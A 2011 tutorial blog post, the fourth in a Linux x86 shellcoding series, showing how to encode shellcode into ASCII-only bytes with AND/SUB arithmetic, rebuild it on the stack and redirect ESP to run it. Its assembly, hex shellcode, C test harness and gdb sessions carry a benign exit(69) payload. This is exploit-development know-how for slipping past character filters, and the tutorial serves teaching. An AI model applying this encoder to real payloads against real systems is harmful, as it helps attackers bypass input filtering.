Linux x86 Shellcoding – 104   2 comments

  • Post Info:
    1. # Author: Flavio do Carmo Junior aka waKKu
      # URL: Author’s Webpage
      # Date: April 29, 2011
      # Category: Assembly, Exploiting, Programming, Security, Shellcoding

    Me again ;)…

    This is our 4th article in serie “Linux x86 Shellcoding”, I strongly advise you check others three if you still didn’t.

    Well, this post ended up much bigger than I expected but I hope you can follow and enjoy it.

    1. Introduction
    What’s our objective today?
    — Instead of write assembly instruction directly in memory we’ll inject carefully computed hexadecimal values within ASCII codes range that once executed will decode into our REAL shellcode. After we decode this new shellcode we still need to jump to its position and execute it.

    2. Planning – Phase 1

    A. Intelligence Gathering:
    If we are going to “encode” a shellcode first of all we need a shellcode.
    We are going to use our first and simplest shellcode, the exit(69) from first article (trust me, at the end you will be glad that I pick this one).

    Shellcode :
    "\x31\xc0\x40\x31\xdb\xb3\x45\xcd\x80"

    As I’ve been saying through articles, CPU DOESN’T CARE ABOUT THE CONTENT IN MEMORY WHERE EIP POINTS TO, IT WILL EXECUTE ANYTHING THAT EIP POINTS TO AND HAS EXECUTION PERMISSION.
    Therefore what I’m proposing here is that we inject something like this “AAAB{$}!@$(HFHADOUKENFJAHF?:><!@#$%+_" into memory and, when CPU execute it we got our real shellcode in another memory area…

    B. How to write:
    Here I’ll ask you to remember (if needed) exactly how stack works on Linux, we talked a lot about it in previous articles, more precisely section “PUSH zero + PUSH string-backward” in article 102.

    I told we could only use bytes within ASCII range to create our decoder, let me show how we are going to accomplish it.
    We can manipulate stack easily using push’s and pop’s, just like we did with strings in past articles, then we need:
    – Make some calculation to create our ASCII bytes
    – Keep this result into some register
    – Push (push command) this register onto stack
    * Here we just wrote 4 bytes (32bits – word size) of our shellcode in memory, now we need to do the same with the rest.

    If we are going with stack manipulation, the same rule for strings applies to our shellcode. We need to write it backwards (because stack grows by decreasing 4 bytes each time).
    We got how to write, now we need “what”.

    C. ASCII Bytes range

    Let’s see what bytes we can use checking ASCII table

    man 7 ascii

    Oct Dec Hex Char Oct Dec Hex Char
    ————————————————————
    000 0 00 NUL ” 100 64 40 @
    001 1 01 SOH 101 65 41 A
    — snippet output —
    075 61 3D = 175 125 7D }
    076 62 3E > 176 126 7E ~
    077 63 3F ? 177 127 7F DEL

    As showed by output above, ASCII table starts in 0x00 and goes to 0x7F, 127 characters/bytes (exactly half of all possible values with one byte). Therefore we realize that we’ve only a half of usual opcodes, and we’re still considering special characters like “<", "^" (accent) and keyboard codes like "Delete" (0x7F).

    I told we need to write shellcode backwards using blocks of 4 bytes but our shellcode is 9 bytes, so we need to make it multiple of 4 first:

    To help us we'll use our bash skills and write an on-the-fly assembler:

    waKKu@0xcd80$ while IFS=$'\n' read INSTR; do echo "${INSTR}" | as -o blah -; objdump -d blah | sed -n '$p'; done
    xorl %eax,%eax # Here I write asm instruction, and next line we got opcodes.
       0:   31 c0                   xor    %eax,%eax
    sub $-4, %esp # It works ;)
       0:   83 ec fc                sub    $0xfffffffc,%esp
    # CTRL+C to quit
    

    Now we can use this trick to test some ASCII values we could use as padding to our lonely byte:

    waKKu@0xcd80$ while IFS=$'\n' read INSTR; do echo "${INSTR}" | as -o blah -; objdump -d blah | sed -n '$p'; done
    inc %ecx
       0:   41                      inc    %ecx
    inc %edx
       0:   42                      inc    %edx
    inc %ebx
       0:   43                      inc    %ebx
    

    These are, respectivelly, 'A', 'B' and 'C' characters. They fit perfectly as ASCII padding and will not mess with shellcode execution once we're zeroing all needed registers before use it (shellcode is sure to zero "eax" and "ebx" before use it, thus we don't need to care with previous values).
    As told earlier, we are using a Little-Endian architecture so we need to pad to RIGHT side, we got:

    1st block: 0x80cd45b3
    2nd block: 0xdb3140c0
    3rd block: 0x31414243

    After pushing these 3 blocks onto stack, ESP register will point exactly to first padding value (0x43) but we've a lot of non-ASCII values here that we need o encode first.

    3. Assembly – part 1

    Now we can test some instructions and check if they are into our range.
    Beginning with basic:

    waKKu@0xcd80$ while IFS=$'\n' read INSTR; do echo "${INSTR}" | as -o blah -; objdump -d blah | sed -n '$p'; done
    movl $0x80cd45b3, %eax # Copy the "1st block" to "eax"
       0:   b8 b3 45 cd 80          mov    $0x80cd45b3,%eax
    

    Ok, no luck. The only ASCII byte here is “0x45”.

    We decide to go with push’s and pop’s, let’s test these opcodes first:

    waKKu@0xcd80$ while IFS=$'\n' read INSTR; do echo "${INSTR}" | as -o blah -; objdump -d blah | sed -n '$p'; done
    push %eax
       0:   50                      push   %eax
    push %ebx
       0:   53                      push   %ebx
    push %ecx
       0:   51                      push   %ecx
    push %edx
       0:   52                      push   %edx
    pop %ecx
       0:   59                      pop    %ecx
    pop %eax
       0:   58                      pop    %eax
    pop %ebx
       0:   5b                      pop    %ebx
    pop %edx
       0:   5a                      pop    %edx
    

    Ha! A bit more luck here. Seems that we will not have problems with push’s and pop’s, they are all within ASCII range.

    Now we can use a similar technique presented by muts (Mati Aharoni @ OffSec) in his lecture “BackTrack-Foo: From Bug To 0day”.

    4.1. Doing the math – part 1/3
    Now I hope everyone’s up to date with BitWise AND operations.

    Again, we appeal to our swiss knife bash:

    waKKu@0xcd80$ printf "%04d\n" $( echo "obase=2; 3" | bc )
    0011  # Where (binary representation) number 3 is "1"
    waKKu@0xcd80$ printf "%04d\n" $( echo "obase=2; 4" | bc )
    0100  # Number "4" is "0" (zero). If we AND 3 & 4, we get zero.
    waKKu@0xcd80$ printf "%04d\n" $( echo "obase=2; $(( 0xdeadbeef & 3 ))" | bc )
    0011  # If we AND "any number" & 0x03, maximum we get is 0x03 (as all other bits are zero)
    waKKu@0xcd80$ printf "%04d\n" $( echo "obase=2; $(( $((0xdeadbeef & 3)) &amp; 4 ))" | bc )
    0000  # Therefore, using two AND operations we can zero "any number"
    waKKu@0xcd80$ echo "obase=2; $(( $((0xdeadbeef & 0x33333333)) & 0x44444444 ))" | bc
    0     # Here is the same thing, we just used all nibbles as 0011 and 0100 to avoid NULL Bytes.
    

    What’s a nibble? Read: http://en.wikipedia.org/wiki/Nibble

    Unfortunatelly we can’t use “any number” AND 0x00000000 because it would generate NULL Bytes.

    Here is another representation of this 2-way zeroing process, here we’re zeroing an imaginary byte 0xad:

    1010 1101 (0xad)
    0011 0011 (0x33)
    --------- (AND)
    0010 0001 (RESULT)
    0100 0100 (0x44)
    --------- (AND)
    0000 0000 (RESULT == 0)
    

    This way we’re sure after 2 AND’s we get 0x00000000 in any register. Now we need to test these opcodes:

    waKKu@0xcd80$ while IFS=$'\n' read INSTR; do echo "${INSTR}" | as -o blah -; objdump -d blah | sed -n '$p'; done
    and $0x33333333, %eax
       0:   25 33 33 33 33          and    $0x33333333,%eax
    and $0x44444444, %eax
       0:   25 44 44 44 44          and    $0x44444444,%eax
    

    Great… 0x25 (AND opcode) is also part of ASCII values, this 2-way zeroing process costs 10 bytes.

    Update: some other techniques to zeroing a register

    zeroing_eax:
    	# 1) 4 bytes long
    	push $1      # push value 0x00000001 onto stack (2 bytes instruction)
    	pop  %eax   # pop value 0x00000001 into %eax (1 byte instruction)
    	dec  %eax   # decrement 1 in %eax (1 - 0 = 0) (1 byte instruction)
    
    	# 2) 5 bytes long
    	push $0x41          # Same idea from previous, but using more likely allowed value (2 bytes)
    	pop  %eax           # pop into %eax (1 byte)
    	sub  $0x41, %al    # subtract 0x41 (pushed value) from %eax zeroing it (2 bytes)
    

    We already know how to zero any register, now we need to learn how to write any value in it, so we can push it onto stack.

    Our first block is: 0x80cd45b3
    Now we need to abuse of math to reach this value from zero, let’s start with an byte per byte approach:

    waKKu@0xcd80$ gdb -q
    (gdb) print /x 0 - (0x80 + 1)
    $1 = 0xffffff7f
    (gdb) print /x 0 - (0xcd + 1)
    $2 = 0xffffff32
    (gdb) print /x 0 - (0x45 + 1)
    $3 = 0xffffffba
    (gdb) print /x 0 - (0xb3 + 1 - 1) # "-1" to simulate Two's Complement
    $4 = 0xffffff4d
    (gdb) print /x 0 - 0x7f32ba4d
    $5 = 0x80cd45b3
    

    Almost huh?… “ba” is out of our reach (ASCII).
    In his lecture muts used 3 operations to create each block, I wouldn’t like to copy him here so I need to make it using only 2 operations ;).

    4.2. Doing the math – part 2/3

    If you didn’t like part 1, you’ll probably doom part 2.

    As we check previously, we have half of our possible opcodes:
    – Possible Opcodes: 0x00 (0 decimal) until 0xFF (255 decimal)
    – ASCII Range: 0x01 (1 decimal) until 0x7F (127 decimal)

    With only half, we will need to abuse even more of our lovely math.
    – We need to agree that “0” (zero) is the beginning AND 255 is the final of our numeric cycle.
    – Then we also agree that 255 + 1 == 0, once we know that it’s a cycle

    New game ;)
    “SubValue” is going to be our maneuvar value, used to subtractions.
    a. SubValue = 0 – 171
    b. SubValue = (255 + 1) – 171
    c. SubValue = (256) – 171
    d. SubValue = 85
    e. 0 – SubValue = 171

    Now same idea, but using hexadecimal:

    (gdb) print /x 171
    $1 = 0xab
    (gdb) print /x 0 - 0xab
    $2 = 0xffffff55
    (gdb) print /x 0 - 0x55
    $3 = 0xffffffab
    (gdb) print /d 0x55
    $4 = 85
    

    Heh, nothing too hard.
    Well but we can’t work with 255 as our maximum value is 127. Now we need to simulate a “virtual” base with 127 values.
    Below I’ll call simulated 127 values base as “virtual base”, and original 255 values base as “real base”.
    If we have a half of real base, we need to have a half opcode too.

    More games ;):
    a. 0 = 127 + 1 (virtual base cycle)
    b. Opcode = Opcode / 2 (virtual base = half of real base)
    c. We sum: “half Opcode” + “half real base” = “SubValue from real base to Opcode”
    But we can’t use this value because it will not be part of ASCII range.
    d. Now we need to generate this number from “c.”, here we can use normal: “0” “Number”
    e. This “d.” number is SubValue from “real base” to generate “c.” value.
    f. Again, we make: “0” “d.” = “X” (I’m going to refer this value as “X”)
    g. Now we settle in a safe “zone”, we are exactly “half Opcode” above, we can:
    h. Calculate new SubValue from this “zone” to “Opcode”, using: “X” “Opcode” = “Y”
    i. And finally, the “Y” value generated at “h.” is the SubValue from “X” to “Opcode”, then:
    j. “X” “Y” = “Opcode”

    Easy huh? Now from theory to practice:

    (gdb) # Desired Opcode = 0x45
    (gdb) print /x 0x45 / 2
    $1 = 0x22
    (gdb) print /x 0x7f + 0x22
    $2 = 0xa1
    (gdb) print /x 0 - 0xa1
    $3 = 0xffffff5f
    (gdb) # Consider "eax" being "0" after 2-way zeroing process (ANDs). Our first assembly instruction is: "sub $0x5f, %eax" (we did "X" = 0xa1)
    (gdb) # After this first instruction "eax" is "0xa1" (virtual top + half Opcode)
    (gdb) print /x 0xa1 - 0x45
    $4 = 0x5c
    (gdb) # Now we got value for our second assembly instruction: "sub $0x5c, %eax"
    (gdb) print /x 0xa1 - 0x5c
    $5 = 0x45
    (gdb) # Here is it, now "eax" is "Desired Opcode" (0x45).
    

    And we’re done with this part 2, this part applies only for opcodes that are INSIDE ASCII range (virtual base).

    4.3. Doing the math – part 3/3

    Here we’re going to treat with Opcodes that are BEYOND our ASCII range (virtual base).
    Theoretically this is simple:
    – ASCII fits on the first half of our real base
    – The difference (SubValu) from “0” (real base) to “Opcode” will always be lower than half of real base (255).

    Example:
    Desired Opcode: 0x81 (129 decimal)
    Real Base: 0xff (255 decimal)
    – Hexa: 0 – 0x81 = 0x7f
    ou
    – Decimal: 0 (256) – 129 = 127

    But isn’t useful for us to reach Opcode in a single instruction, because we’ll need to use 2 instructions when treating with Opcodes inside ASCII range and it’s totally normal to have mix of these two in same 4-bytes block.
    What we can do to accomplish it in an easy way is to divide this subtraction in 2 halves.
    – Hexa: 0 – 0x40 = 0xc0
    – Hexa: 0xc0 – 0x40 = 0x80
    – We need to reduce 1 on the second subtraction:
    – Hexa: 0xc0 – 0x3f = 0x81

    This finish our encoding part. I believe we’ve covered all possible bytes and its encoding trick.

    4.4. Applying the math

    Sure we would create a new script to make all this work for us right? ;)

    Here I introduce you to ascii_encoding-1byte.sh.

    Now it’s time to group everything and start working with assembly.

    5. Assembly – part 2
    No much to introduce here, let’s apply our findings and test.

    – Desired Opcodes: 0x80cd45b3

    waKKu@0xcd80$ ./ascii_encoding-1byte.sh 0x80
    1st instruction: sub 0x40
    2nd instruction: sub 0x40
    Resulting byte : 0x80
    waKKu@0xcd80$ ./ascii_encoding-1byte.sh 0xcd
    1st instruction: sub 0x19
    2nd instruction: sub 0x1a
    Resulting byte : 0xcd
    waKKu@0xcd80$ ./ascii_encoding-1byte.sh 0x45
    1st instruction: sub 0x5f
    2nd instruction: sub 0x5c
    Resulting byte : 0x45
    waKKu@0xcd80$ ./ascii_encoding-1byte.sh 0xb3
    1st instruction: sub 0x26
    2nd instruction: sub 0x27
    Resulting byte : 0xb3
    waKKu@0xcd80$ cat mathmagic.s
    .section .text
    .globl _start
    
    _start:
            movl $0x12345678, %eax  # Messing "eax" to validade our zeroing process
            and  $0x33333333, %eax  # Zero %eax - Phase 1
            and  $0x44444444, %eax  # Zero %eax - Phase 2
            int  $0x3               # SIGTRAP (breakpoint)
            # First breakpoint: Check value of "eax" == 0x00000000
    
            sub  $0x40195f26, %eax  # First "sub" instruction
            sub  $0x401a5c27, %eax  # Second "sub" instruction
            int  $0x3               # New Breakpoint
            # Second breakpoint: Check %eax == 0x80cd45b3
    waKKu@0xcd80$ as -o mathmagic.o mathmagic.s
    waKKu@0xcd80$ ld -o mathmagic mathmagic.o
    waKKu@0xcd80$
    

    We got our “pseudo” shellcode ready, let’s test our findings with gdb.

    waKKu@0xcd80$ gdb --quiet ./mathmagic
    (no debugging symbols found)
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) run # Execute 
    Starting program: /home/waKKu/0xcd80/mathmagic # Executar o nosso codigo
    Failed to read a valid object file image from memory.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x08048084 in _start ()
    (gdb) # First breakpoint
    (gdb) i r eax
    eax            0x0      0
    (gdb) # Zero'd %eax - OK!
    (gdb) continue # Continue execution until reach second SIGTRAP
    Continuing.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x0804808f in ?? ()
    (gdb) # Second breakpoint
    (gdb) i r eax
    eax            0x7fcc44b3       2144093363
    (gdb) # WTF!?!?
    (gdb) quit
    The program is running.  Exit anyway? (y or n) y
    waKKu@0xcd80$
    

    I forgot to consider the “Bits Underflow”!!! Just like happens when we subtract:
    020
    -09
    —-
    011
    A subtraction of RIGHT digit (number) changes the LEFT digit – And I didn’t calculate it!!!

    Now we’ll need to rewrite our script to works with 4 bytes block and considering bits underflow…

    Here is a new “version”: ascii_payload_encoder.sh

    Back to work, “a new hope”:

    waKKu@0xcd80$ ./ascii_payload_encoder.sh 0x80cd45b3 %eaxx
    Use the following assembly instructions:
            sub  $0x40195f26, %eax  # Carving our bytes: 0x80cd45b3 - Phase 1
            sub  $0x3f195b27, %eax  # Carving our bytes: 0x80cd45b3 - Phase 2
    Resulting Register Value: %eax == 0x80cd45b3
    waKKu@0xcd80$
    .section .text
    .globl _start
    
    _start:
            movl $0x12345678, %eax  # Messing "eax" to validade our zeroing process
            and  $0x33333333, %eax  # Zerar %eax - Passo 1
            and  $0x44444444, %eax  # Zerar %eax - Passo 2
            int  $0x3               # SIGTRAP (breakpoint)
            # First breakpoint: Check value of "eax" == 0x00000000
    
            sub  $0x40195f26, %eax  # Carving our bytes: 0x80cd45b3 - Phase 1
            sub  $0x3f195b27, %eax  # Carving our bytes: 0x80cd45b3 - Phase 2
            push %eax               # Push "eax" onto stack
            int  $0x3               # New Breakpoint
            # Second breakpoint: Check %eax == 0x80cd45b3
    waKKu@0xcd80$ as -o mathmagic.o mathmagic.s
    waKKu@0xcd80$ ld -o mathmagic mathmagic.o
    waKKu@0xcd80$ gdb --quiet ./mathmagic
    (no debugging symbols found)
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) run
    Starting program: /home/waKKu/0xcd80/mathmagic
    Failed to read a valid object file image from memory.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x08048084 in _start ()
    (gdb) i r eax
    eax            0x0      0
    (gdb) c # Continue
    Continuing.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x0804808f in ?? ()
    (gdb) i r eax
    eax            0x80cd45b3       -2134030925
    (gdb) x/x $esp
    0xbfc0813c:     0x80cd45b3
    (gdb) x/i $esp
    0xbfc0813c:     mov    $0x45,%bl
    (gdb)
    0xbfc0813e:     int    $0x80
    (gdb) # Beautiful :)
    (gdb) quit
    The program is running.  Exit anyway? (y or n) y
    waKKu@0xcd80$
    

    Now we need the rest of our “exit” shellcode.
    Reminder:
    1st block: 0x80cd45b3
    2nd block: 0xdb3140c0
    3rd block: 0x31414243

    waKKu@0xcd80$ ./ascii_payload_encoder.sh 0x80cd45b3 %eax
    Use the following assembly instructions:
            sub  $0x40195f26, %eax  # Carving our bytes: 0x80cd45b3 - Phase 1
            sub  $0x3f195b27, %eax  # Carving our bytes: 0x80cd45b3 - Phase 2
    Resulting Register Value: %eax == 0x80cd45b3
    waKKu@0xcd80$ ./ascii_payload_encoder.sh 0xdb3140c0 %eax
    Use the following assembly instructions:
            sub  $0x12696120, %eax  # Carving our bytes: 0xdb3140c0 - Phase 1
            sub  $0x12655e20, %eax  # Carving our bytes: 0xdb3140c0 - Phase 2
    Resulting Register Value: %eax == 0xdb3140c0
    waKKu@0xcd80$ ./ascii_payload_encoder.sh 0x31414243 %eax
    Use the following assembly instructions:
            sub  $0x69616060, %eax  # Carving our bytes: 0x31414243 - Phase 1
            sub  $0x655d5d5d, %eax  # Carving our bytes: 0x31414243 - Phase 2
    Resulting Register Value: %eax == 0x31414243
    waKKu@0xcd80$ cat mathmagic.s
    .section .text
    .globl _start
    
    _start:
            and  $0x33333333, %eax  # Zero %eax - Phase 1
            and  $0x44444444, %eax  # Zero %eax - Phase 2
            sub  $0x40195f26, %eax  # Carving our bytes: 0x80cd45b3 - Phase 1
            sub  $0x3f195b27, %eax  # Carving our bytes: 0x80cd45b3 - Phase 2
            push %eax               # push "1st block" onto stack
    
            and  $0x33333333, %eax  # Zero %eax - Phase 1
            and  $0x44444444, %eax  # Zero %eax - Phase 2
            sub  $0x12696120, %eax  # Carving our bytes: 0xdb3140c0 - Phase 1
            sub  $0x12655e20, %eax  # Carving our bytes: 0xdb3140c0 - Phase 2
            push %eax               # push "2nd block" onto stack
    
            and  $0x33333333, %eax  # Zero %eax - Phase 1
            and  $0x44444444, %eax  # Zero %eax - Phase 2
            sub  $0x69616060, %eax  # Carving our bytes: 0x31414243 - Phase 1
            sub  $0x655d5d5d, %eax  # Carving our bytes: 0x31414243 - Phase 2
            push %eax               # push "3rd block" onto stack
    
            int  $0x03              # Breakpoint =]
            # Here we should be able to see padding+shellcode at ESP
    
    waKKu@0xcd80$ as -o mathmagic.o mathmagic.s
    waKKu@0xcd80$ ld -o mathmagic mathmagic.o
    waKKu@0xcd80$ gdb --quiet ./mathmagic
    (no debugging symbols found)
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) run
    Starting program: /home/waKKu/0xcd80/mathmagic
    Failed to read a valid object file image from memory.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x080480b4 in ?? ()
    (gdb) x/4x $esp
    0xbfd27244:     0x31414243      0xdb3140c0      0x80cd45b3      0x00000001
    (gdb) x/i $esp
    0xbfd27244:     inc    %ebx # Padding 1
    (gdb)
    0xbfd27245:     inc    %edx # Padding 2
    (gdb)
    0xbfd27246:     inc    %ecx # Padding 3
    (gdb)
    0xbfd27247:     xor    %eax,%eax # Zero eax
    (gdb)
    0xbfd27249:     inc    %eax # Increment eax (exit syscall)
    (gdb)
    0xbfd2724a:     xor    %ebx,%ebx # zero ebx
    (gdb)
    0xbfd2724c:     mov    $0x45,%bl # Put 69 decimal at "ebx" 8 LSB
    (gdb)
    0xbfd2724e:     int    $0x80 # Call protected/kernel mode to execute syscall
    (gdb) # As expected, our decoded shellcode.
    (gdb) quit
    

    EUREKA!. Worked like a charm! ESP points to beginning of our decoded shellcode.
    Now the second part of our objective: Jump to execution (how to make execution flow reach ESP)

    6. Planning – Phase 2
    Check this out:

    waKKu@0xcd80$ while IFS=$'\n' read INSTR; do echo "${INSTR}" | as -o blah -; objdump -d blah | sed -n '$p'; done
    push %esp
       0:   54                      push   %esp
    pop %esp
       0:   5c                      pop    %esp
    

    Amazing, huh?
    – 1) We know we can manipulate any avlue using “sub” technique, and now we saw
    – 2) instructions “push %esp” and “pop %esp” not only exists but also has opcodes inside our ASCII range.

    Algorithm:
    1. We push current value of ESP onto stack (push %esp)
    2. Pop it back to a register (pop %eax)
    3. Using that “sub” technique to ADD the “size of our payload” on ESP value
    4. Now we push our “fake”/calculated ESP back onto stack (push %eax)
    5. And then we POP it back to original ESP register (pop %esp)

    Bazinga! When our instructions “push %eax” execute, it is writing our decoded shellcode a safe distance from our current EIP, therefore when we finish decoding shellcode we can just keep execution flow and it will reach right on our decoded shellcode.

    Here I need to clarify one thing…

    I’m setting up a exploitation capable scenario where I’ll force EIP to jump to stack. GCC doesn’t generate “jmp *%esp” code (that we could use as RET Address) and stack addresses are always non-ASCII friendly. Linux “.text” area starts at 0x08048000 (pay attention at 3rd byte (0x80), it is also a non-ASCII value) we’ll need to be lucky enough to find a ROP schema or hardcoded “\xff\xe4” (jmp *%esp) value using off-by-one or partial EIP overwrite vulnerability.
    Ok, the content written here isn’t waste of time, this same technique can be easily used (as showed by muts) in Windows environments.

    What ASCII encoders for Linux usually do is a technique known as “GetPC” (Get Program Counter), because what really matters is where EIP is and not ESP. ESP just points to top of stack, EIP can be anywhere else.

    Why don’t we use GetPC instead?
    — GetPC necessarily needs to non-ASCII opcodes. Using x87 instructions or even call/jmp schema.

    I’ve found a guy trying to write an ASCII friendly GetPC technique, you can read about it here

    If you thought: “But MetaSploit has ASCII and AlphaNumeric encoders!?!”
    — Sorry dude, even MetaSploit encoders need non-ASCII GetPC code. You can see it encoding with “alpha_mixed.rb” module and reading first bytes.

    All explained, how to ADD right value?
    Easy, can you remember all that math we did starting from zero and ending up in specific values?
    It’s same thing but instead of start from zero we are starting from an existent value:
    0 – 10 = 91
    20 – 90 = 31
    We are simply “looping” whole numerical base.

    7. Assembly – parte 3
    If you paied attention in our encoding schema it is a 4 -> 21 bytes, in other words, each 4 bytes becomes 21 encoded bytes.
    Then we shellcode of 9 bytes + 3 padding bytes, is actually:
    (12 / 4) * 21 == 63 bytes
    And now we need to add some few instructions to manipulate ESP:
    – push’s & pop’s = 1 byte each (2 push + 2 pop)
    – “sub” trick = 15 bytes (5 each)

    Final:
    ((12 / 4) * 21) + 19 = 82 bytes

    We need to use stack aligned values here.

    waKKu@0xcd80$ gdb --quiet
    (gdb) print /x -128
    $1 = 0xffffff80
    (gdb) quit
    waKKu@0xcd80$ ./ascii_payload_encoder.sh 0xffffff80
    Use the following assembly instructions:
            sub  $0x00000040, %reg  # Carving our bytes: 0xffffff80 - Phase 1
            sub  $0x00000040, %reg  # Carving our bytes: 0xffffff80 - Phase 2
    Resulting Register Value: %reg == 0xffffff80
    waKKu@0xcd80$ # NULL BYTES.. We need to divide in 3 operations though
    waKKu@0xcd80$ gdb --quiet
    (gdb) print /x 0xffffff80 / 3
    $1 = 0x5555552a
    (gdb) # So we need to sub this value 3 times from current ESP to ADD (base looping) 128 bytes.
    

    We couldn’t use same trick to calculate this value because 0xff becomes 0x00 due to bits overflow, but we did it manually.
    And instead of 82 bytes I used 128 to keep some free space and stack alignment, we’ll use some NOPs to fill this gap.

    As NOP instruction I’ll be using “inc %ecx”, it’s a 1 byte instruction and its opcode is 0x41 (‘A’), ASCII friendly

    waKKu@0xcd80$ cat mathmagic.s
    .section .text
    .globl _start
    
    _start:
            push %esp               # 1. Push real ESP onto stack
            pop  %eax               # 2. Pop it back to "eax"
            sub  $0x5555552a, %eax  # 3. Making room for our shellcode after ESP (1)
            sub  $0x5555552a, %eax  # 3. Making room for our shellcode after ESP (2)
            sub  $0x5555552a, %eax  # 3. Making room for our shellcode after ESP (3)
            push %eax               # 4. Push fake ESP back onto stack
            pop  %esp               # 5. Replace real ESP by fake ESP
    
            and  $0x33333333, %eax  # Zero %eax - Phase 1
            and  $0x44444444, %eax  # Zero %eax - Phase 2
            sub  $0x40195f26, %eax  # Carving our bytes: 0x80cd45b3 - Phase 1
            sub  $0x3f195b27, %eax  # Carving our bytes: 0x80cd45b3 - Phase 2
            push %eax               # push "1st block" onto stack
    
            and  $0x33333333, %eax  # Zero %eax - Phase 1
            and  $0x44444444, %eax  # Zero %eax - Phase 2
            sub  $0x12696120, %eax  # Carving our bytes: 0xdb3140c0 - Phase 1
            sub  $0x12655e20, %eax  # Carving our bytes: 0xdb3140c0 - Phase 2
            push %eax               # push "2nd block" onto stack
    
            and  $0x33333333, %eax  # Zero %eax - Phase 1
            and  $0x44444444, %eax  # Zero %eax - Phase 2
            sub  $0x69616060, %eax  # Carving our bytes: 0x31414243 - Phase 1
            sub  $0x655d5d5d, %eax  # Carving our bytes: 0x31414243 - Phase 2
            push %eax               # push "3rd block" onto stack
    
            push $0x41414141        # Push some NOP Instructions that can be overwritten
            push $0x41414141        # Push some NOP Instructions that can be overwritten
            push $0x41414141        # Push some NOP Instructions that can be overwritten
            push $0x41414141        # Push some NOP Instructions that can be overwritten
            push $0x41414141        # Push some NOP Instructions that can be overwritten
            push $0x41414141        # Push some NOP Instructions that can be overwritten
    
    waKKu@0xcd80$ as -o mathmagic.o mathmagic.s
    waKKu@0xcd80$ ./makesc.sh mathmagic.o
    ShellCode is clean (0 nulls)
    Using 16 opcodes/line
    
    // ShellCode -> [ 'File:mathmagic.o', 'Size:117 bytes', 'NULLs: 0' ]
    "\x54\x58\x2d\x2a\x55\x55\x55\x2d\x2a\x55\x55\x55\x2d\x2a\x55\x55"
    "\x55\x50\x5c\x25\x33\x33\x33\x33\x25\x44\x44\x44\x44\x2d\x26\x5f"
    "\x19\x40\x2d\x27\x5b\x19\x3f\x50\x25\x33\x33\x33\x33\x25\x44\x44"
    "\x44\x44\x2d\x20\x61\x69\x12\x2d\x20\x5e\x65\x12\x50\x25\x33\x33"
    "\x33\x33\x25\x44\x44\x44\x44\x2d\x60\x60\x61\x69\x2d\x5d\x5d\x5d"
    "\x65\x50\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41"
    "\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41"
    "\x68\x41\x41\x41\x41"
    
    

    Here we can’t use the same trick from previous articles because when we declare “shellcode[]” as global variable it goes to “.data” area in memory and it’s far from ESP.
    We’ll make some modifications to make sure our shellcode settle on stack.

    waKKu@0xcd80$ cat trysc104.c
    #include <stdio.h>
    #include <string.h>
    
    // ShellCode -> [ 'File:mathmagic.o', 'Size:117 bytes', 'NULLs: 0' ]
    char tmpcode[] = "\x54\x58\x2d\x2a\x55\x55\x55\x2d\x2a\x55\x55\x55\x2d\x2a\x55\x55"
    "\x55\x50\x5c\x25\x33\x33\x33\x33\x25\x44\x44\x44\x44\x2d\x26\x5f"
    "\x19\x40\x2d\x27\x5b\x19\x3f\x50\x25\x33\x33\x33\x33\x25\x44\x44"
    "\x44\x44\x2d\x20\x61\x69\x12\x2d\x20\x5e\x65\x12\x50\x25\x33\x33"
    "\x33\x33\x25\x44\x44\x44\x44\x2d\x60\x60\x61\x69\x2d\x5d\x5d\x5d"
    "\x65\x50\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41"
    "\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41"
    "\x68\x41\x41\x41\x41";
    
    
    int call_shellcode(void) {
            char shellcode[140]; // We need to keep at least 12 bytes free for safety
    
            strncpy(shellcode, tmpcode, 117); // We copy exact size, we shouldn't copy NULL Byte
    
            int (*ret)()=(int(*)())shellcode; //function pointer = casting variavel -> function
            printf("Calling shellcode...");
            ret(); // Here we call this funtion pointer
    }
    
    
    int main(int argc, char **argv)
    {
            call_shellcode();
            printf("If you are seeing this line, WE FAILED!!!"); // se o shellcode funcionar um _exit() vai acontecer
    }
    
    
    waKKu@0xcd80$ gcc -fno-stack-protector -z execstack -o trysc104 trysc104.c
    waKKu@0xcd80$
    

    Show time:

    waKKu@0xcd80$ ./trysc104
    waKKu@0xcd80$ echo $?
    69
    

    Great… Now let’s follow each step:

    waKKu@0xcd80$ gdb --quiet ./trysc104
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) break call_shellcode
    Breakpoint 1 at 0x804839d
    (gdb) run
    Starting program: /root/flaviocj/trysc104
    Failed to read a valid object file image from memory.
    
    Breakpoint 1, 0x0804839d in call_shellcode ()
    (gdb) disass
    Dump of assembler code for function call_shellcode:
    0x08048394 <call_shellcode+0>:  push   %ebp
    0x08048395 <call_shellcode+1>:  mov    %esp,%ebp
    0x08048397 <call_shellcode+3>:  sub    $0xa8,%esp
    0x0804839d <call_shellcode+9>:  movl   $0x75,0x8(%esp)
    0x080483a5 <call_shellcode+17>: movl   $0x8049680,0x4(%esp)
    0x080483ad <call_shellcode+25>: lea    0xffffff70(%ebp),%eax
    0x080483b3 <call_shellcode+31>: mov    %eax,(%esp)
    0x080483b6 <call_shellcode+34>: call   0x80482c4 <strncpy@plt>
    0x080483bb <call_shellcode+39>: lea    0xffffff70(%ebp),%eax
    0x080483c1 <call_shellcode+45>: mov    %eax,0xfffffffc(%ebp)
    0x080483c4 <call_shellcode+48>: movl   $0x8048518,(%esp)
    0x080483cb <call_shellcode+55>: call   0x80482b4 <printf@plt>
    0x080483d0 <call_shellcode+60>: mov    0xfffffffc(%ebp),%eax
    0x080483d3 <call_shellcode+63>: call   *%eax
    0x080483d5 <call_shellcode+65>: leave
    0x080483d6 <call_shellcode+66>: ret
    End of assembler dump.
